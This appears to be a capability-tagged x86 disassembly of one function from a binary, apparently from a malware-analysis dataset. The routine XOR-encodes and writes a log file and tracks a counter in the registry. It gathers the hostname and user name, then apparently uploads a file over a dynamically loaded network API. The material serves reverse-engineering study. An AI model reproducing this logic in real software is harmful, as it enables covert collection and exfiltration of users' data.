Function at 0x45d950
Capabilities:
Clear file content
Encode data using xor
Get hostname
Get session user name
Query or enumerate registry value
Set registry value
Write file on windows

Disassembly:
sub esp, 0x2b8
push ebx
push ebp
push esi
push edi
push 0x476ac8
mov dword [esp + 0x2c], ecx
lea esi, [ecx + 0x28]
call fcn.004609f0
add esp, 4
push eax
push esi
call fcn.0045c9d0
add esp, 8
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], 0
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x476a90
xor bl, bl
call fcn.004609f0
add esp, 4
push eax
push reloc.dsound.dll_DirectSoundCreate
call dword [sym.imp.advapi32.dll_RegCreateKeyExA]
test eax, eax
jne 0x45daef
mov eax, dword [esp + 0x2c]
mov edi, dword [sym.imp.user32.dll_wsprintfA]
cmp eax, 2
jne 0x45da61
lea edx, [esp + 0x10]
lea eax, [esp + 0x44]
push edx
push eax
push 0
push 0
push 0x476a7c
mov dword [esp + 0x24], 0x40
call fcn.004609f0
mov ecx, dword [esp + 0x2c]
mov ebp, dword [sym.imp.advapi32.dll_RegQueryValueExA]
add esp, 4
push eax
push ecx
call ebp
push 0x476434
lea edx, [esp + 0x88]
push 0x476a78
push edx
call edi
mov eax, dword [esp + 0x1c]
add esp, 0xc
test eax, eax
je 0x45da36
lea eax, [esp + 0x84]
lea ecx, [esp + 0x44]
push eax
push ecx
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x45da36
mov bl, 1
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push 0
push 0x476a68
mov dword [esp + 0x24], 4
call fcn.004609f0
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call ebp
push 0x476434
lea edx, [esp + 0x48]
push 0x476a78
push edx
call edi
add esp, 0xc
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
lea ecx, [esp + 0x44]
push eax
push ecx
push 1
push 0
push 0x476a54
mov dword [esp + 0x24], eax
call fcn.004609f0
mov edx, dword [esp + 0x2c]
mov edi, dword [sym.imp.advapi32.dll_RegSetValueExA]
add esp, 4
push eax
push edx
call edi
test bl, bl
mov dword [esp + 0x10], 4
je 0x45dabc
inc dword [esp + 0x14]
jmp 0x45dac4
mov dword [esp + 0x14], 0
lea eax, [esp + 0x14]
push 4
push eax
push 4
push 0
push 0x476a68
call fcn.004609f0
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call edi
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, dword [esp + 0x14]
cmp eax, 1
je 0x45df04
cmp eax, 5
ja 0x45df04
test bl, bl
je 0x45db16
cmp dword [0x732f48], 9
jge 0x45df04
push 0x476a44
call fcn.004609f0
add esp, 4
push eax
push esi
call fcn.0045c9d0
mov eax, dword [esi]
add esp, 8
cmp eax, 0xffffffff
je 0x45dc69
lea edi, [esi + 0x101c]
push edi
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov eax, dword [esi + 0x1034]
test eax, eax
je 0x45db5e
mov ecx, dword [esi + 0x1038]
cmp ecx, eax
mov eax, 0x475df8
ja 0x45db63
mov eax, 0x47cc04
push eax
xor eax, eax
mov ax, word [esi + 0x102a]
xor ecx, ecx
mov cx, word [esi + 0x1028]
push eax
xor edx, edx
xor eax, eax
mov dx, word [esi + 0x1026]
mov ax, word [esi + 0x1024]
push ecx
push edx
xor ecx, ecx
push eax
mov cx, word [esi + 0x1022]
xor edx, edx
mov dx, word [esi + 0x101e]
xor eax, eax
mov ax, word [edi]
push ecx
push edx
push eax
push 0x475da0
lea ebp, [esi + 0x1c]
call fcn.00460980
add esp, 4
push eax
push ebp
call fcn.0046105f
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
mov eax, dword [esi + 0x1030]
not ecx
dec ecx
test eax, eax
je 0x45dc05
test ecx, ecx
jle 0x45dc33
mov edi, 0xffffffe4
mov eax, ebp
sub edi, esi
mov edx, dword [esi + 0x1030]
add edx, 2
mov dword [esi + 0x1030], edx
mov bl, byte [eax]
add dl, 0x43
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [edi + eax]
cmp edx, ecx
jl 0x45dbe3
jmp 0x45dc33
test ecx, ecx
jle 0x45dc33
mov edi, 0xffffffe4
mov eax, ebp
sub edi, esi
mov edx, dword [esi + 0x102c]
lea edx, [edx + edx*2 + 1]
mov dword [esi + 0x102c], edx
mov bl, byte [eax]
add dl, 0x46
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [eax + edi]
cmp edx, ecx
jl 0x45dc12
cmp dword [esi + 0x1034], 0x3e7
je 0x45dc51
lea eax, [esp + 0x24]
push 0
push eax
push ecx
mov ecx, dword [esi]
push ebp
push ecx
call dword [sym.imp.kernel32.dll_WriteFile]
mov edx, dword [esi]
push edx
call dword [sym.imp.kernel32.dll_SetEndOfFile]
mov eax, dword [esi]
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [esi], 0xffffffff
push 0x476a34
call fcn.004609f0
add esp, 4
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x45df04
push 0x476a20
call fcn.004609f0
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
add esp, 4
push eax
push edi
call esi
push 0x476a08
mov ebp, eax
call fcn.004609f0
add esp, 4
push eax
push edi
call esi
push 0x4769f0
mov ebx, eax
call fcn.004609f0
add esp, 4
push eax
push edi
call esi
push 0x4769e0
mov dword [esp + 0x20], eax
call fcn.004609f0
add esp, 4
push eax
push edi
call esi
test ebp, ebp
mov dword [esp + 0x24], eax
je 0x45df04
test ebx, ebx
je 0x45df04
mov ecx, dword [esp + 0x1c]
test ecx, ecx
je 0x45df04
test eax, eax
je 0x45df04
push 0
push 0
push 0
push 0
push 0x4769d4
call fcn.00460980
add esp, 4
push eax
call ebp
mov ebp, eax
test ebp, ebp
je 0x45df04
push 0
push 0
push 1
push 0x4769c4
call fcn.004609f0
add esp, 4
push eax
push 0x4769b8
call fcn.00460980
add esp, 4
push eax
push 0x15
push 0x4769a4
call fcn.00460980
add esp, 4
push eax
push ebp
call ebx
mov esi, eax
test esi, esi
jne 0x45dd6e
push ebp
call dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b8
ret
lea ecx, [esp + 0x20]
lea edx, [esp + 0xc4]
mov ebx, 0x80
push ecx
push edx
mov byte [esp + 0xcc], 0
mov dword [esp + 0x28], ebx
call dword [sym.imp.kernel32.dll_GetComputerNameA]
lea eax, [esp + 0x20]
lea ecx, [esp + 0x144]
push eax
push ecx
mov byte [esp + 0x14c], 0
mov dword [esp + 0x28], ebx
call dword [sym.imp.advapi32.dll_GetUserNameA]
lea edx, [esp + 0x30]
push edx
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov eax, dword [0x732f48]
cmp eax, 1
jne 0x45ddcd
push 0x476998
jmp 0x45de32
cmp eax, 2
jne 0x45ddd9
push 0x47698c
jmp 0x45de32
cmp eax, 3
jne 0x45dde5
push 0x476984
jmp 0x45de32
cmp eax, 4
jne 0x45ddf1
push 0x476978
jmp 0x45de32
cmp eax, 5
jne 0x45ddfd
push 0x47696c
jmp 0x45de32
cmp eax, 6
jne 0x45de09
push 0x47695c
jmp 0x45de32
cmp eax, 7
jne 0x45de15
push 0x476950
jmp 0x45de32
cmp eax, 8
jne 0x45de21
push 0x476944
jmp 0x45de32
cmp eax, 9
jne 0x45de2d
push 0x476938
jmp 0x45de32
push 0x476930
call fcn.00460980
mov ecx, dword [esp + 0x42]
mov edx, dword [esp + 0x40]
add esp, 4
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x3e]
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x42]
and edx, 0xffff
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x42]
push ecx
mov ecx, dword [esp + 0x44]
and edx, 0xffff
and ecx, 0xffff
push edx
push ecx
mov ecx, dword [esp + 0x44]
lea edx, [ecx + 0x10f4]
add ecx, 0x10cc
push edx
lea edx, [esp + 0x164]
push edx
lea edx, [esp + 0xe8]
push edx
mov edx, dword [0x732f6c]
mov edx, dword [edx + 0x10]
push edx
push eax
push 0x1f
push ecx
push 0x4768d4
call fcn.004609f0
add esp, 4
push eax
lea eax, [esp + 0x200]
push eax
call fcn.0046105f
add esp, 0x40
lea ecx, [esp + 0x1c4]
push 0
push 0x4000002
push ecx
push 0x732e38
push esi
call dword [esp + 0x38]
call dword [sym.imp.kernel32.dll_GetLastError]
mov ebx, dword [esp + 0x1c]
push ebp
call ebx
push esi
call ebx
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b8
ret